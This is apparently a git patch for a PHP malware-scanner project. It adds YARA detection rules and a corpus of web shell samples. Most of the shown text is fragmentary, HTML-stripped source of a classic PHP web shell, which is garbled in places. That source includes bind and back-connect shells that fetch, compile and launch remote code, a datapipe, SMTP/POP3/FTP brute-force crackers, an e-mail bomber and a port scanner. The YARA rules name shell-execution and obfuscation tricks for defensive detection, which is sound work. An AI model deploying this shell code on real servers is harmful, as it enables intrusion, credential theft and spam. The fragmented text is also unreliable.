From 48936efa96ae17295be4e0a71be3294f0ec6aef8 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Mon, 2 May 2022 20:18:23 +0200 Subject: Make application go-install-able and create a docker image --- data/php.yar | 374 + data/samples/artificial/bypasses.php | 7 + data/samples/artificial/dodgy.php | 18 + data/samples/artificial/obfuscated.php | 8 + data/samples/classic/ajaxshell.php | 652 ++ data/samples/classic/angel.php | 2149 ++++++ data/samples/classic/b374k.php | 10 + data/samples/classic/c100.php | 3154 ++++++++ data/samples/classic/c99.php | 3157 ++++++++ data/samples/classic/cyb3rsh3ll.php | 7923 ++++++++++++++++++++ data/samples/classic/r57.php | 2302 ++++++ data/samples/classic/simattacker.php | 756 ++ data/samples/classic/sosyete.php | 225 + data/samples/cpanel.php | 20 + data/samples/freepbx.php | 14 + data/samples/obfuscators/cipher_design.php | 2 + data/samples/obfuscators/online_php_obfuscator.php | 1 + data/samples/obfuscators/phpencode.php | 1 + data/samples/real/awvjtnz.php | 4 + data/samples/real/exceptions.php | 1 + data/samples/real/guidtz.php | 76 + data/samples/real/ice.php | 1 + data/samples/real/include.php | 4 + data/samples/real/nano.php | 1 + data/samples/real/ninja.php | 1 + data/samples/real/novahot.php | 130 + data/samples/real/srt.php | 5 + data/samples/real/sucuri_2014_04.php | 3 + data/samples/undetected/smart.php | 2 + data/whitelist.yar | 129 + data/whitelists/custom.yar | 13 + data/whitelists/drupal.yar | 660 ++ data/whitelists/magento1ce.yar | 504 ++ data/whitelists/magento2.yar | 563 ++ data/whitelists/phpmyadmin.yar | 93 + data/whitelists/prestashop.yar | 468 ++ data/whitelists/symfony.yar | 60 + data/whitelists/wordpress.yar | 1046 +++ 38 files changed, 24537 insertions(+) create mode 100644 data/php.yar create mode 100644 data/samples/artificial/bypasses.php create mode 100644 data/samples/artificial/dodgy.php create mode 100644 data/samples/artificial/obfuscated.php create mode 100644 data/samples/classic/ajaxshell.php create mode 100644 data/samples/classic/angel.php create mode 100644 data/samples/classic/b374k.php create mode 100644 data/samples/classic/c100.php create mode 100644 data/samples/classic/c99.php create mode 100644 data/samples/classic/cyb3rsh3ll.php create mode 100644 data/samples/classic/r57.php create mode 100644 data/samples/classic/simattacker.php create mode 100644 data/samples/classic/sosyete.php create mode 100644 data/samples/cpanel.php create mode 100644 data/samples/freepbx.php create mode 100644 data/samples/obfuscators/cipher_design.php create mode 100644 data/samples/obfuscators/online_php_obfuscator.php create mode 100644 data/samples/obfuscators/phpencode.php create mode 100644 data/samples/real/awvjtnz.php create mode 100644 data/samples/real/exceptions.php create mode 100644 data/samples/real/guidtz.php create mode 100644 data/samples/real/ice.php create mode 100644 data/samples/real/include.php create mode 100644 data/samples/real/nano.php create mode 100644 data/samples/real/ninja.php create mode 100644 data/samples/real/novahot.php create mode 100644 data/samples/real/srt.php create mode 100644 data/samples/real/sucuri_2014_04.php create mode 100644 data/samples/undetected/smart.php create mode 100644 data/whitelist.yar create mode 100644 data/whitelists/custom.yar create mode 100644 data/whitelists/drupal.yar create mode 100644 data/whitelists/magento1ce.yar create mode 100644 data/whitelists/magento2.yar create mode 100644 data/whitelists/phpmyadmin.yar create mode 100644 data/whitelists/prestashop.yar create mode 100644 data/whitelists/symfony.yar create mode 100644 data/whitelists/wordpress.yar (limited to 'data') diff --git a/data/php.yar b/data/php.yar new file mode 100644 index 0000000..4470e1b --- /dev/null +++ b/data/php.yar @@ -0,0 +1,374 @@ +import "hash" +include "whitelist.yar" + +/* + Detect: + - phpencode.org + - http://www.pipsomania.com/best_php_obfuscator.do + - http://atomiku.com/online-php-code-obfuscator/ + - http://www.webtoolsvn.com/en-decode/ + - http://obfuscator.uk/example/ + - http://w3webtools.com/encode-php-online/ + - http://www.joeswebtools.com/security/php-obfuscator/ + - https://github.com/epinna/weevely3 + - http://cipherdesign.co.uk/service/php-obfuscator + - http://sysadmin.cyklodev.com/online-php-obfuscator/ + - http://mohssen.org/SpinObf.php + - https://code.google.com/p/carbylamine/ + - https://github.com/tennc/webshell + + - https://github.com/wireghoul/htshells + + Thanks to: + - https://stackoverflow.com/questions/3115559/exploitable-php-functions +*/ + +global private rule IsPhp +{ + strings: + $php = /<\?[^x]/ + + condition: + $php and filesize < 5MB +} + +rule NonPrintableChars +{ + strings: + /* + Searching only for non-printable characters completely kills the perf, + so we have to use atoms (https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7) + to get an acceptable speed. + */ + $non_printables = /(function|return|base64_decode).{,256}[^\x09-\x0d\x20-\x7E]{3}/ + + condition: + (any of them) and not IsWhitelisted +} + + +rule PasswordProtection +{ + strings: + $md5 = /md5\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{32}['"]/ nocase + $sha1 = /sha1\s*\(\s*\$_(GET|REQUEST|POST|COOKIE|SERVER)[^)]+\)\s*===?\s*['"][0-9a-f]{40}['"]/ nocase + condition: + (any of them) and not IsWhitelisted +} + +rule ObfuscatedPhp +{ + strings: + $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy + $eval_comment = /(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\/\*[^\*]*\*\/\(/ nocase // eval/*lol*/( <- this is dodgy + $b374k = "'ev'.'al'" + $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k + $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher + $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html + $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano + $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano + $variable_variable = /\${\$[0-9a-zA-z]+}/ + $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` + $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words + $concat_with_spaces = /(\$[^\n\r]+\. ){5}/ // concatenation of more than 5 words, with spaces + $var_as_func = /\$_(GET|POST|COOKIE|REQUEST|SERVER)\s*\[[^\]]+\]\s*\(/ + $comment = /\/\*([^*]|\*[^\/])*\*\/\s*\(/ // eval /* comment */ (php_code) +condition: + (any of them) and not IsWhitelisted +} + +rule DodgyPhp +{ + strings: + $basedir_bypass = /curl_init\s*\(\s*["']file:\/\// nocase + $basedir_bypass2 = "file:file:///" // https://www.intelligentexploit.com/view-details.html?id=8719 + $disable_magic_quotes = /set_magic_quotes_runtime\s*\(\s*0/ nocase + + $execution = /\b(popen|eval|assert|passthru|exec|include|system|pcntl_exec|shell_exec|base64_decode|`|array_map|ob_start|call_user_func(_array)?)\s*\(\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // function that takes a callback as 1st parameter + $execution2 = /\b(array_filter|array_reduce|array_walk(_recursive)?|array_walk|assert_options|uasort|uksort|usort|preg_replace_callback|iterator_apply)\s*\(\s*[^,]+,\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))/ nocase // functions that takes a callback as 2nd parameter + $execution3 = /\b(array_(diff|intersect)_u(key|assoc)|array_udiff)\s*\(\s*([^,]+\s*,?)+\s*(base64_decode|php:\/\/input|str_rot13|gz(inflate|uncompress)|getenv|pack|\\?\$_(GET|REQUEST|POST|COOKIE|SERVER))\s*\[[^]]+\]\s*\)+\s*;/ nocase // functions that takes a callback as 2nd parameter + + $htaccess = "SetHandler application/x-httpd-php" + $iis_com = /IIS:\/\/localhost\/w3svc/ + $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes + $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_(function|classe)s|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase + $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\([^)]*(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php + $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_exec|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41 + $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ + $shellshock = /\(\)\s*{\s*[a-z:]\s*;\s*}\s*;/ + $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase + $various = " +
:: PHP Safe Mode Bypass ::
:: Make File/Directory ::
:: Go File/Directory ::
| Owner/Group | "; + + $ow = posix_getpwuid(fileowner($d)); + + $gr = posix_getgrgid(filegroup($d)); + + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + + } + + echo " |
| Perms | ".view_perms_color($d)." |
| Create time | ".date("d/m/Y H:i:s",filectime($d))." |
| Access time | ".date("d/m/Y H:i:s",fileatime($d))." |
| MODIFY time | ".date("d/m/Y H:i:s",filemtime($d))." |
| Path | ".$d.$f." |
| Size | ".view_size(filesize($d.$f))." |
| MD5 | ".md5_file($d.$f)." |
| Owner/Group | "; + + $ow = posix_getpwuid(fileowner($d.$f)); + + $gr = posix_getgrgid(filegroup($d.$f)); + + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + + } + + echo " |
| Perms | ".view_perms_color($d.$f)." |
| Create time | ".date("d/m/Y H:i:s",filectime($d.$f))." |
| Access time | ".date("d/m/Y H:i:s",fileatime($d.$f))." |
| MODIFY time | ".date("d/m/Y H:i:s",filemtime($d.$f))." |
| ".$a0." | ".$a1." | ".$a2." |
"; + + } + + elseif ($ft == "html") + + { + + if ($white) {@ob_clean();} + + echo $r; + + if ($white) {cyb3rexit();} + + } + + elseif ($ft == "txt") {echo "
".htmlspecialchars($r)."";} + + elseif ($ft == "ini") {echo "
"; var_dump(parse_ini_file($d.$f,TRUE)); echo "";} + + elseif ($ft == "phpsess") + + { + + echo "
";
+
+ $v = explode("|",$r);
+
+ echo $v[0]."
";
+
+ var_dump(unserialize($v[1]));
+
+ echo "";
+
+ }
+
+ elseif ($ft == "exe")
+
+ {
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($exeftypes as $k=>$v)
+
+ {
+
+ if (in_array($ext,$v)) {$rft = $k; break;}
+
+ }
+
+ $cmd = str_replace("%f%",$f,$rft);
+
+ echo "Execute file:";
+
+ }
+
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo "";} + + elseif ($ft == "code") + + { + + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + + { + + $arr = explode("\n",$r); + + if (count($arr == 18)) + + { + + include($d.$f); + + echo "phpBB configuration is detected in this file!

| [+] Here : [ ".count($domains)." ] Domain ... | |
| List of Domains | List of Users |
| $domain | ".$user['name']." |
(: E-Mail Bomber :) |
+ [: Mass Mailer :] |
+ {: Anonymous Mailer :} |
+
"; +while(!feof($ser))echo fgets($ser); +echo ""; +fclose($ser); +} +else{ +echo "
(: Bind/Reverse Shell :) |
+ [: Web Shell :] |
+
+
"; + + $v = $bndportsrcs[$bind["src"]]; + + if (empty($v)) {echo "Unknown file! ";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";} + + else + + { + + $w = explode(".",$bind["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";} + + elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%port",$bind["port"],$v[1]); + + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + + else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"! "; + + } + + } + + if (!empty($bcsubmit)) + + { + + echo "Result of back connection: "; + + $v = $bcsrcs[$bc["src"]]; + + if (empty($v)) {echo "Unknown file! ";} + + else + + { + + $w = explode(".",$bc["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";} + + elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%host",$bc["host"],$v[1]); + + $v[1] = str_replace("%port",$bc["port"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... "; + + } + + } + + } + + if (!empty($dpsubmit)) + + { + + echo "Result of datapipe-running: "; + + $v = $dpsrcs[$datapipe["src"]]; + + if (empty($v)) {echo "Unknown file! ";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";} + + else + + { + + $srcpath = $tmpdir.$datapipe["src"]; + + $w = explode(".",$datapipe["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";} + + elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + + else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"! "; + + } + + } + + ?>Binding port: + +Back connection: + +Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "! + +Datapipe: +Note: sources will be downloaded from remote server. + + + + + |
+
+ [: Enter Command to Execute: :] + + + Useful Commands
+
+
+
+
+ |
+
+
$data
"; + + print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a messageError : Please Check The Users or Password List Entry . . .
"; exit; } + if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; } + if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; }; + $userlist=explode("\n",$users); + $passlist=explode("\n",$pass); + print "[~]# + LETS GAME BEGIN ;) ...| + + | +|||
+
|
+
| SMTP cracker: |
| POP3 cracker: |
|
+ |
+ |
+ |
+
| HTTP Form cracker: |
| Target: | |
| From: | |
| To: | |
| Timeout: | |
| $chbox | $hcwd |
| From: | NS lookup |
| To: | xxx.xxx.xxx.$hcwd |
| Timeout: | |
| Port scanner: | |
| Get web banner | Webserver security scanning SMTP relay check |
| FTP password: | |
| SNMP: | |